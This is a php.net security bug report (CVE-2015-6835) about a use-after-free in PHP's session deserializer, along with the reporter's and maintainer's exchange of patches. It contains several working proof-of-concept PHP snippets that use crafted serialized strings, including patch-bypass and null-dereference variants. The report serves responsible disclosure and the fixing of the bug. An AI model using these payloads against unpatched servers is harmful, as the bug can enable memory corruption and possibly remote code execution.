php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70219 Use after free vulnerability in session deserializer
Submitted: 2015-08-09 10:30 UTC Modified: 2015-09-09 10:08 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 5.4.44 OS: *
Private report: No CVE-ID: 2015-6835
 [2015-08-09 10:30 UTC] taoguangchen at icloud dot com
Description:
------------
I have reported a number of similar vulnerabilities in unserialize().

```
PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
{

	...	

	PHP_VAR_UNSERIALIZE_INIT(var_hash);

	p = val;

	while (p < endptr) {
		
		...

		if (has_value) {
			ALLOC_INIT_ZVAL(current);
			if (php_var_unserialize(&current, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
				php_set_session_var(name, namelen, current, &var_hash  TSRMLS_CC);
			}
			zval_ptr_dtor(&current);
		}
		PS_ADD_VARL(name, namelen);
skip:
		efree(name);

		p = q;
	}
break_outer_loop:

	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);

	return SUCCESS;
}

when sesson deserializer (php/php_binary) deserializing multiple data it will calls php_var_unserialize() multiple times. so we can create ZVAL and free it via the php_var_unserialize() with a crafted serialized string, then the next  call php_var_unserialize() will still allow to use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely.

PoC:

```
session_start();

$exploit = 'ryat|a:2:{i:0;i:1;i:1;a:1:{i:1;chtg|a:1:{i:0;R:4;}';
session_decode($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($_SESSION);
```

in addition, in some other cases it may also lead to security issue, ex: i) a crafted Serializable::unserialize() ii) via unserialize()'s callback function and zend_lookup_class() call a crafted __autoload(). i have reported the similar ideas to other bug report, so i will not describe them again.


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-08-09 12:26 UTC] taoguangchen at icloud dot com
the patch for 5.4 series (maybe work on 5.5 and 5.6 series):

diff --git a/php-5.4.44/session.c b/php-5.4.44-fixed/session.c
index 306aba3..7081229 100644
--- a/php-5.4.44/session.c
+++ b/php-5.4.44-fixed/session.c
@@ -854,7 +854,16 @@ PS_SERIALIZER_DECODE_FUNC(php_binary) /* {{{ */
 		if (has_value) {
 			ALLOC_INIT_ZVAL(current);
 			if (php_var_unserialize(&current, (const unsigned char **) &p, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
+				var_push_dtor(&var_hash, &current);
 				php_set_session_var(name, namelen, current, &var_hash  TSRMLS_CC);
+			} else {
+				if (!EG(exception) && BG(unserialize).level != 1) {
+					zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)p - val), (long)((char*)endptr - val));
+					PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
+					return SUCCESS;
+				}
+				PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
+				PHP_VAR_UNSERIALIZE_INIT(var_hash);
 			}
 			zval_ptr_dtor(&current);
 		}
@@ -946,7 +955,16 @@ PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
 		if (has_value) {
 			ALLOC_INIT_ZVAL(current);
 			if (php_var_unserialize(&current, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
+				var_push_dtor(&var_hash, &current);
 				php_set_session_var(name, namelen, current, &var_hash  TSRMLS_CC);
+			} else {
+				if (!EG(exception) && BG(unserialize).level != 1) {
+					zval_ptr_dtor(&current);
+					zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)q - p), (long)((char*)endptr - p));
+					goto break_outer_loop;
+				}
+				PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
+				PHP_VAR_UNSERIALIZE_INIT(var_hash);
 			}
 			zval_ptr_dtor(&current);
 		}
 [2015-08-11 12:07 UTC] taoguangchen at icloud dot com
update a new patch for 5.4 serise:

diff --git a/php-5.4.44/session.c b/php-5.4.44-fixed/session.c
index 306aba3..f0d484a 100644
--- a/php-5.4.44/session.c
+++ b/php-5.4.44-fixed/session.c
@@ -854,7 +854,17 @@ PS_SERIALIZER_DECODE_FUNC(php_binary) /* {{{ */
 		if (has_value) {
 			ALLOC_INIT_ZVAL(current);
 			if (php_var_unserialize(&current, (const unsigned char **) &p, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
+				var_push_dtor(&var_hash, &current);
 				php_set_session_var(name, namelen, current, &var_hash  TSRMLS_CC);
+			} else {
+				if (!EG(exception) && BG(unserialize).level != 1) {
+					zval_ptr_dtor(&current);
+					zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)p - val), vallen);
+					PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
+					return SUCCESS;
+				}
+				PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
+				PHP_VAR_UNSERIALIZE_INIT(var_hash);
 			}
 			zval_ptr_dtor(&current);
 		}
@@ -946,7 +956,16 @@ PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
 		if (has_value) {
 			ALLOC_INIT_ZVAL(current);
 			if (php_var_unserialize(&current, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
+				var_push_dtor(&var_hash, &current);
 				php_set_session_var(name, namelen, current, &var_hash  TSRMLS_CC);
+			} else {
+				if (!EG(exception) && BG(unserialize).level != 1) {
+					zval_ptr_dtor(&current);
+					zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)q - p), vallen);
+					goto break_outer_loop;
+				}
+				PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
+				PHP_VAR_UNSERIALIZE_INIT(var_hash);
 			}
 			zval_ptr_dtor(&current);
 		}
 [2015-08-11 12:09 UTC] taoguangchen at icloud dot com
post a patch for 5.5 and 5.6 series (fix another UaF in php_serialize):

diff --git a/php-5.6.12/session.c b/php-5.6.12-fixed/session.c
index b73d5ed..c47aaab 100644
--- a/php-5.6.12/session.c
+++ b/php-5.6.12-fixed/session.c
@@ -857,12 +857,25 @@ PS_SERIALIZER_ENCODE_FUNC(php_serialize) /* {{{ */
 PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */
 {
 	const char *endptr = val + vallen;
+	const char *p;
 	zval *session_vars;
 	php_unserialize_data_t var_hash;
 
 	PHP_VAR_UNSERIALIZE_INIT(var_hash);
 	ALLOC_INIT_ZVAL(session_vars);
-	php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC);
+	p = val;
+	if (php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC)) {
+		if (BG(unserialize).level != 1) {
+			var_push_dtor(&var_hash, &session_vars);
+		}
+	} else {
+		if (!EG(exception) && BG(unserialize).level != 1 && vallen != 0) {
+			zval_ptr_dtor(&session_vars);
+			zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %d of %d bytes", (long)((char*)val - p), vallen);
+			PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
+			return SUCCESS;
+		}
+	}
 	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
 	if (PS(http_session_vars)) {
 		zval_ptr_dtor(&PS(http_session_vars));
@@ -946,7 +959,17 @@ PS_SERIALIZER_DECODE_FUNC(php_binary) /* {{{ */
 		if (has_value) {
 			ALLOC_INIT_ZVAL(current);
 			if (php_var_unserialize(&current, (const unsigned char **) &p, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
+				var_push_dtor(&var_hash, &current);
 				php_set_session_var(name, namelen, current, &var_hash  TSRMLS_CC);
+			} else {
+				if (!EG(exception) && BG(unserialize).level != 1) {
+					zval_ptr_dtor(&current);
+					zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)p - val), vallen);
+					PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
+					return SUCCESS;
+				}
+				PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
+				PHP_VAR_UNSERIALIZE_INIT(var_hash);
 			}
 			zval_ptr_dtor(&current);
 		}
@@ -1038,7 +1061,16 @@ PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
 		if (has_value) {
 			ALLOC_INIT_ZVAL(current);
 			if (php_var_unserialize(&current, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
+				var_push_dtor(&var_hash, &current);
 				php_set_session_var(name, namelen, current, &var_hash  TSRMLS_CC);
+			} else {
+				if (!EG(exception) && BG(unserialize).level != 1) {
+					zval_ptr_dtor(&current);
+					zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)q - p), vallen);
+					goto break_outer_loop;
+				}
+				PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
+				PHP_VAR_UNSERIALIZE_INIT(var_hash);
 			}
 			zval_ptr_dtor(&current);
 		}
 [2015-08-12 10:06 UTC] taoguangchen at icloud dot com
i think that if the previous deserialized session data is invalid, should not continue to follow deserialized because it may produce unexpected session data. so i update a new patch for this bug.

diff --git a/php-5.6.12/session.c b/php-5.6.12-fixed/session.c
index b73d5ed..34a6ef2 100644
--- a/php-5.6.12/session.c
+++ b/php-5.6.12-fixed/session.c
@@ -857,12 +857,18 @@ PS_SERIALIZER_ENCODE_FUNC(php_serialize) /* {{{ */
 PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */
 {
 	const char *endptr = val + vallen;
+	const char *p;
 	zval *session_vars;
 	php_unserialize_data_t var_hash;
 
 	PHP_VAR_UNSERIALIZE_INIT(var_hash);
 	ALLOC_INIT_ZVAL(session_vars);
-	php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC);
+	p = val;
+	if (php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC) && BG(unserialize).level != 1) {
+		var_push_dtor(&var_hash, &session_vars);
+	} else if (!EG(exception) && BG(unserialize).level != 1 && vallen != 0) {
+		zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %d of %d bytes", (long)((char*)val - p), vallen);
+	}
 	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
 	if (PS(http_session_vars)) {
 		zval_ptr_dtor(&PS(http_session_vars));
@@ -946,7 +952,13 @@ PS_SERIALIZER_DECODE_FUNC(php_binary) /* {{{ */
 		if (has_value) {
 			ALLOC_INIT_ZVAL(current);
 			if (php_var_unserialize(&current, (const unsigned char **) &p, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
+				var_push_dtor(&var_hash, &current);
 				php_set_session_var(name, namelen, current, &var_hash  TSRMLS_CC);
+			} else {
+				if (!EG(exception) && BG(unserialize).level != 1) {
+					zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)p - val), vallen);
+				}
+				endptr = p;
 			}
 			zval_ptr_dtor(&current);
 		}
@@ -1038,7 +1050,13 @@ PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
 		if (has_value) {
 			ALLOC_INIT_ZVAL(current);
 			if (php_var_unserialize(&current, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
+				var_push_dtor(&var_hash, &current);
 				php_set_session_var(name, namelen, current, &var_hash  TSRMLS_CC);
+			} else {
+				if (!EG(exception) && BG(unserialize).level != 1) {
+					zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)q - p), vallen);
+				}
+				endptr = p;
 			}
 			zval_ptr_dtor(&current);
 		}
 [2015-08-17 00:18 UTC] stas@php.net
Unfortunately, this patch can not be applied to 5.x since in 5.x core functions can not throw exceptions.
 [2015-08-17 00:30 UTC] taoguangchen at icloud dot com
maybe you can use fatal error level messsage replacement throw exceptions
 [2015-08-17 01:07 UTC] stas@php.net
Also I understand that this requires control over the session content, which for most applications would mean the security is already overridden, as session usually contains all security data. So not sure if this qualifies as security issue... 

Also, if the session data is broken, it'd probably be better to just bail out and not try to decode the rest of it. 

Proposed patch: https://gist.github.com/smalyshev/272028a9e8be40530d0c

Please see if it fixes the problem for you.
 [2015-08-17 01:21 UTC] taoguangchen at icloud dot com
I do not have a test environment now, but only from the code look, this patch will break `make test`, and can be bypass via crafted Serializable::unserialize().
 [2015-08-17 06:27 UTC] stas@php.net
Could you please explain in more detail (preferably with examples) what you mean?
 [2015-08-17 06:49 UTC] taoguangchen at icloud dot com
i)this patch looks break ext/session/tests/session_decode_error2.phpt.
ii)you have to consider the situation in BG(unserialize).level != 1, like bug#70172 and bug#70213, ex:
```
class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        session_start();
        session_decode($data);
    }
}
```
iii)you also may need to consider the code:
```
zval_ptr_dtor(&current);
```
 [2015-08-17 07:49 UTC] taoguangchen at icloud dot com
so i post new PoC for iii), and it can bypass your patch.

```
session_start();

$exploit = 'ryat|a:2:{i:0;i:1;i:1;i:2;}ryat|i:1;chtg|a:1:{i:0;R:2;}';
session_decode($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($_SESSION);
```
 [2015-08-17 08:06 UTC] taoguangchen at icloud dot com
if you can use fatal error level messsage replacement throw exceptions, so you can consider using the my patch, it can solve all these problems.
 [2015-08-17 09:02 UTC] taoguangchen at icloud dot com
oh, previous PoC is not work, and i update a new PoC:

```
session_start();

$exploit = 'ryat|a:1:{i:0;i:1;}ryat|i:1;chtg|R:1;';
session_decode($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($_SESSION);
```
 [2015-08-23 20:23 UTC] stas@php.net
Revised patch: https://gist.github.com/smalyshev/272028a9e8be40530d0c

(yes I know it can break some tests, I'll deal with them)

I am not sure returning fatal errors is a good idea as fatal errors are, well, fatal and introducing more of them has very broad BC implications and may break some apps in various ways and we don't want that in stable versions. I agree that sessions code seems to be way more permissive that it should be, but I think we may try to fix it without introducing new BC breaks.
 [2015-08-23 22:42 UTC] taoguangchen at icloud dot com
this patch can be bypass:
```
class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        session_start();
        session_decode($data);
    }
}

$inner = 'ryat|a:1:{i:0;a:1:{i:1;a:0:{';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:5;}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```
so you have to consider the situation in BG(unserialize).level != 1
 [2015-08-23 23:24 UTC] stas@php.net
I'm sorry, I can not reproduce any problem with the latest code. Could you explain what is the problem there and what you are seeing? What exactly is the problem you're seeing when BG(unserialize).level != 1?
 [2015-08-23 23:33 UTC] taoguangchen at icloud dot com
oh, maybe you test the code on 5.4 series (the code worked on 5.5 and 5.6 series), i update new code for 5.4 series:

```
class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        session_start();
        session_decode($data);
    }
}

$inner = 'ryat|a:1:{i:0;a:1:{i:1;';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```
 [2015-08-23 23:50 UTC] stas@php.net
OK, I see what's going on there - process_nested_data frees values even though there can be references for them. I've updated https://gist.github.com/smalyshev/272028a9e8be40530d0c to account for that issue.
 [2015-08-24 00:40 UTC] taoguangchen at icloud dot com
the latest patch looks and test is ok.
 [2015-08-24 03:29 UTC] taoguangchen at icloud dot com
oh, you need to also fix session's php_serialize deserializer in 5.5 and 5.6 series.
 [2015-08-24 03:33 UTC] stas@php.net
These will be merged closer to the release.
 [2015-08-24 03:41 UTC] taoguangchen at icloud dot com
in 5.5 and 5.6 series, another UaF exist in session's php_serialize deserializer:
```
ini_set('session.serialize_handler', 'php_serialize');
session_start();

class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        session_decode($data);
    }
}


$inner = 'r:2;';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;C:3:"obj":'.strlen($inner).':{'.$inner.'}}';
// $exploit = 'a:1:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
var_dump($_SESSION);
```
 [2015-08-24 14:47 UTC] taoguangchen at icloud dot com
the patch can fix another UaF in session's php_serialize deserializer. (5.5 and 5.6 series)

diff --git a/php-5.6.12/session.c b/php-5.6.12-fixed/session.c
index b73d5ed..c4f8b72 100644
--- a/php-5.6.12/session.c
+++ b/php-5.6.12-fixed/session.c
@@ -862,7 +862,9 @@ PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */
 
 	PHP_VAR_UNSERIALIZE_INIT(var_hash);
 	ALLOC_INIT_ZVAL(session_vars);
-	php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC);
+	if (php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC)) {
+		var_push_dtor(&var_hash, &session_vars);
+	}	
 	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
 	if (PS(http_session_vars)) {
 		zval_ptr_dtor(&PS(http_session_vars));
@@ -871,7 +873,8 @@ PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */
 		array_init(session_vars);
 	}
 	PS(http_session_vars) = session_vars;
-	ZEND_SET_GLOBAL_VAR_WITH_LENGTH("_SESSION", sizeof("_SESSION"), PS(http_session_vars), 2, 1);
+	Z_ADDREF_PP(&PS(http_session_vars));
+	zend_hash_update(&EG(symbol_table), "_SESSION", sizeof("_SESSION"), &PS(http_session_vars), sizeof(zval *), NULL);
 	return SUCCESS;
 }
 /* }}} */
 [2015-08-25 13:34 UTC] taoguangchen at icloud dot com
hi, your latest patch can lead to null pointer dereference issue:

```
		if (!php_var_unserialize(&key, p, max, NULL TSRMLS_CC)) {  <<<<<  var_hash is NULL
                        var_push_dtor_no_addref(var_hash, &key);
 			return 0;
 		}
```
PoC:
```
unserialize('a:1:{O:3:"obj":1:{s:4:"ryat";');
```
You need to fix it in var_push_dtor_no_addref, ex:
```
PHPAPI void var_push_dtor_no_addref(php_unserialize_data_t *var_hashx, zval **rval)
{
	var_entries *var_hash;
	
	if (!var_hashx || !*var_hashx) {
		return;
	}
	
	var_hash = (*var_hashx)->last_dtor;
```
 [2015-08-26 08:07 UTC] stas@php.net
I've seen the null pointer issue, this will be fixed. However, the proposed patch for 5.5 seems to change the semantics, so I don't think it would work. I'll look into what's going on there.
 [2015-08-27 17:32 UTC] taoguangchen at icloud dot com
oh, the latest patch work for 5.5 and 5.6:

diff --git a/php-5.6.12/session.c b/php-5.6.12-fixed/session.c
index b73d5ed..c4f8b72 100644
--- a/php-5.6.12/session.c
+++ b/php-5.6.12-fixed/session.c
@@ -862,7 +862,9 @@ PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */
 
 	PHP_VAR_UNSERIALIZE_INIT(var_hash);
 	ALLOC_INIT_ZVAL(session_vars);
-	php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC);
+	if (php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC)) {
+		var_push_dtor(&var_hash, &session_vars);
+	}	
 	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
 	if (PS(http_session_vars)) {
 		zval_ptr_dtor(&PS(http_session_vars));
@@ -871,7 +873,9 @@ PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */
 		array_init(session_vars);
 	}
 	PS(http_session_vars) = session_vars;
-	ZEND_SET_GLOBAL_VAR_WITH_LENGTH("_SESSION", sizeof("_SESSION"), PS(http_session_vars), 2, 1);
+	Z_SET_ISREF_TO_P(PS(http_session_vars), 1);
+	Z_ADDREF_P(PS(http_session_vars));
+	zend_hash_update(&EG(symbol_table), "_SESSION", sizeof("_SESSION"), &PS(http_session_vars), sizeof(zval *), NULL);
 	return SUCCESS;
 }
 /* }}} */
 [2015-08-27 17:53 UTC] taoguangchen at icloud dot com
patch for 5.5 and 5.6:

diff --git a/php-5.6.12/session.c b/php-5.6.12-fixed/session.c
index b73d5ed..c4f8b72 100644
--- a/php-5.6.12/session.c
+++ b/php-5.6.12-fixed/session.c
@@ -862,7 +862,9 @@ PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */
 
 	PHP_VAR_UNSERIALIZE_INIT(var_hash);
 	ALLOC_INIT_ZVAL(session_vars);
-	php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC);
+	if (php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC)) {
+		var_push_dtor(&var_hash, &session_vars);
+	}	
 	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
 	if (PS(http_session_vars)) {
 		zval_ptr_dtor(&PS(http_session_vars));
@@ -871,7 +873,7 @@ PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */
 		array_init(session_vars);
 	}
 	PS(http_session_vars) = session_vars;
-	ZEND_SET_GLOBAL_VAR_WITH_LENGTH("_SESSION", sizeof("_SESSION"), PS(http_session_vars), 2, 1);
+	ZEND_SET_GLOBAL_VAR_WITH_LENGTH("_SESSION", sizeof("_SESSION"), PS(http_session_vars), Z_REFCOUNT_P(PS(http_session_vars)) + 1, 1);
 	return SUCCESS;
 }
 /* }}} */
 [2015-08-29 04:51 UTC] stas@php.net
ok, I added the latest patch to 5.5 branch
 [2015-09-01 18:55 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=df4bf28f9f104ca3ef78ed94b497859f15b004e5
Log: Fix bug #70219 (Use after free vulnerability in session deserializer)
 [2015-09-01 18:55 UTC] stas@php.net
-Status: Open +Status: Closed
 [2015-09-01 19:04 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=df4bf28f9f104ca3ef78ed94b497859f15b004e5
Log: Fix bug #70219 (Use after free vulnerability in session deserializer)
 [2015-09-01 19:07 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=df4bf28f9f104ca3ef78ed94b497859f15b004e5
Log: Fix bug #70219 (Use after free vulnerability in session deserializer)
 [2015-09-02 08:29 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=df4bf28f9f104ca3ef78ed94b497859f15b004e5
Log: Fix bug #70219 (Use after free vulnerability in session deserializer)
 [2015-09-03 18:10 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=df4bf28f9f104ca3ef78ed94b497859f15b004e5
Log: Fix bug #70219 (Use after free vulnerability in session deserializer)
 [2015-09-09 10:08 UTC] kaplan@php.net
-Assigned To: +Assigned To: stas -CVE-ID: +CVE-ID: 2015-6835
 [2016-06-21 14:44 UTC] paul dot kelly at gmail dot com
Hi There,

The following code run on php 5.3.x also works:

session_start();

$exploit = 'ryat|a:2:{i:0;i:1;i:1;a:1:{i:1;chtg|a:1:{i:0;R:4;}';
session_decode($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($_SESSION);

Unfortunately because php.net didn't specify that this affected 5.3 vendors like Redhat have not back ported the patch.

Can you re-open this and explicitly state this?

Paul
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Mar 19 07:01:29 2024 UTC